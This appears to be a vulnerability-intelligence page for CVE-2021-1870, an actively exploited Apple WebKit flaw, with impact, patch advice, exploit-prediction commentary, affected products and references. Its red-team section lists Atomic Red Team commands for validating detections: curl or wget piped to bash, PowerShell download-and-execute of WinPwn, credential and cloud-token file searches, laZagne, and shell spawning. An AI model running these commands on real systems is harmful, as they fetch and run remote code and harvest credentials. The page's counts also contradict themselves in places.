CVE-2021-1870
Overview
This vulnerability is a logic flaw in Apple operating system components affecting iOS, iPadOS, and macOS. The root cause lies in insufficient restrictions within the system's security logic, allowing bypass of intended access controls. The affected components include core OS subsystems responsible for enforcing security policies and code execution constraints.
Vulnerability Description
A logic issue was addressed with improved restrictions. This issue is fixed in macOS Big Sur 11.2, Security Update 2021-001 Catalina, Security Update 2021-001 Mojave, iOS 14.4 and iPadOS 14.4. A remote attacker may be able to cause arbitrary code execution. Apple is aware of a report that this issue may have been actively exploited..
Impact
An unauthenticated remote attacker can exploit this vulnerability to execute arbitrary code on affected Apple devices, including iPhones, iPads, and Macs. This enables full system compromise, allowing the attacker to control the device, access sensitive data, and potentially move laterally within an enterprise environment. No user interaction or credentials are required, making exploitation feasible in remote attack scenarios. The business consequences include data breaches, loss of device integrity, and disruption of critical services.
Solution
Apple has released security updates addressing this issue in macOS Big Sur 11.2, Security Update 2021-001 for Catalina and Mojave, and iOS/iPadOS 14.4. Administrators and users should apply these specific updates promptly. Detailed patch information and update instructions are available at Apple's official support pages: https://support.apple.com/en-us/HT212147 and https://support.apple.com/en-us/HT212146.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in question arises from a logic flaw within the WebKit engine, which is integral to the rendering of web content in various Apple operating systems, including macOS and iOS. This flaw allows for improper handling of certain web content, potentially enabling an attacker to execute arbitrary code on a vulnerable device. The severity of this vulnerability is underscored by its high CVSS score of 9.8, indicating a critical risk level. The issue was addressed through improved restrictions in the affected operating systems, highlighting the importance of robust security measures in software development.
Attack vectors for this vulnerability primarily involve the exploitation of web browsing activities. An attacker could craft malicious web pages designed to exploit the logic flaw when visited by a user. This could occur through phishing schemes, where users are tricked into clicking on a link that leads to the malicious content. Once the page is loaded, the attacker could execute arbitrary code, potentially gaining control over the device or accessing sensitive information. Additionally, the fact that reports suggest this vulnerability may have been actively exploited in the wild raises significant concerns about its potential for widespread damage.
The real-world impact of this vulnerability is substantial, particularly for businesses that rely on Apple devices for their operations. If exploited, it could lead to unauthorized access to confidential data, compromise of corporate networks, and significant financial losses due to data breaches or operational disruptions. Moreover, the reputational damage associated with such incidents can have long-lasting effects on customer trust and brand integrity. Organizations using affected products must prioritize patching and updating their systems to mitigate these risks effectively.
To detect and mitigate the risks associated with this vulnerability, organizations should implement a multi-layered security approach. Regular updates and patches provided by Apple should be applied promptly to ensure that all devices are protected against known vulnerabilities. Additionally, employing web filtering solutions can help block access to malicious sites that may exploit this flaw. User education is also crucial; training employees to recognize phishing attempts and suspicious links can reduce the likelihood of successful exploitation. Monitoring network traffic for unusual activity can further enhance detection capabilities, allowing organizations to respond swiftly to potential threats.
In conclusion, the logic flaw within the WebKit engine presents a significant threat to users of various Apple operating systems. Its potential for arbitrary code execution, coupled with the likelihood of active exploitation, necessitates immediate attention from both individual users and organizations. By understanding the technical details, attack vectors, real-world implications, and implementing effective detection and mitigation strategies, stakeholders can better protect themselves against this critical vulnerability. The proactive management of such risks is essential in maintaining the integrity and security of digital environments in an increasingly interconnected world.
CSURFACE threat intelligence has identified a marked escalation in the Exploit Prediction Scoring System (EPSS) score for CVE-2021-1870, reflecting a substantial increase in the likelihood of exploitation attempts. The EPSS score surged by over 580%, placing this vulnerability in the 94th percentile for exploit probability, with a continuing upward trend over the past week. Although no new exploit techniques or ransomware affiliations have been confirmed, this rapid increase signals growing adversary interest and potential preparatory activity. For defenders, this shift elevates the urgency of monitoring and mitigating this vulnerability, as the heightened EPSS score correlates with an increased risk of active exploitation in the wild. Consequently, the threat level should be reassessed as elevated, underscoring the need for heightened vigilance despite the absence of newly disclosed exploit details.
Affected Products (10)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Apple | Ipados | All |
cpe:2.3:o:apple:ipados:*:*:*:*:*:*:*:*
|
|
|
Apple | Iphone Os | All |
cpe:2.3:o:apple:iphone_os:*:*:*:*:*:*:*:*
|
|
|
Apple | Mac Os X | All |
cpe:2.3:o:apple:mac_os_x:*:*:*:*:*:*:*:*
|
|
|
Apple | Mac Os X | 10.15.7 |
cpe:2.3:o:apple:mac_os_x:10.15.7:-:*:*:*:*:*:*
|
|
|
Apple | Mac Os X | 10.15.7 |
cpe:2.3:o:apple:mac_os_x:10.15.7:security_update_2020-001:*:*:*:*:*:*
|
|
|
Apple | Mac Os X | 10.15.7 |
cpe:2.3:o:apple:mac_os_x:10.15.7:supplemental_update:*:*:*:*:*:*
|
|
|
Apple | Macos | All |
cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:*
|
|
|
Webkitgtk | Webkitgtk | All |
cpe:2.3:a:webkitgtk:webkitgtk:*:*:*:*:*:*:*:*
|
|
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Fedoraproject | Fedora | 32 |
cpe:2.3:o:fedoraproject:fedora:32:*:*:*:*:*:*:*
|
|
|
Fedoraproject | Fedora | 33 |
cpe:2.3:o:fedoraproject:fedora:33:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
3 eventsSighting activity recorded
Sighting activity recorded
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (7)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2021-1870 |
| support.apple.com |
GitHub CVE
x_refsource_MISC
|
https://support.apple.com/en-us/HT212147 |
| support.apple.com |
GitHub CVE
x_refsource_MISC
|
https://support.apple.com/en-us/HT212146 |
| lists.fedoraproject.org |
GitHub CVE
vendor-advisory
x_refsource_FEDORA
|
https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/L3L6ZZOU5JS7E3RFYGLP7UFLXCG7TNLU/ |
| lists.fedoraproject.org |
GitHub CVE
vendor-advisory
x_refsource_FEDORA
|
https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/JN6ZOD62CTO54CHTMJTHVEF6R2Y532TJ/ |
| security.gentoo.org |
GitHub CVE
vendor-advisory
x_refsource_GENTOO
|
https://security.gentoo.org/glsa/202104-03 |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2021-1870 |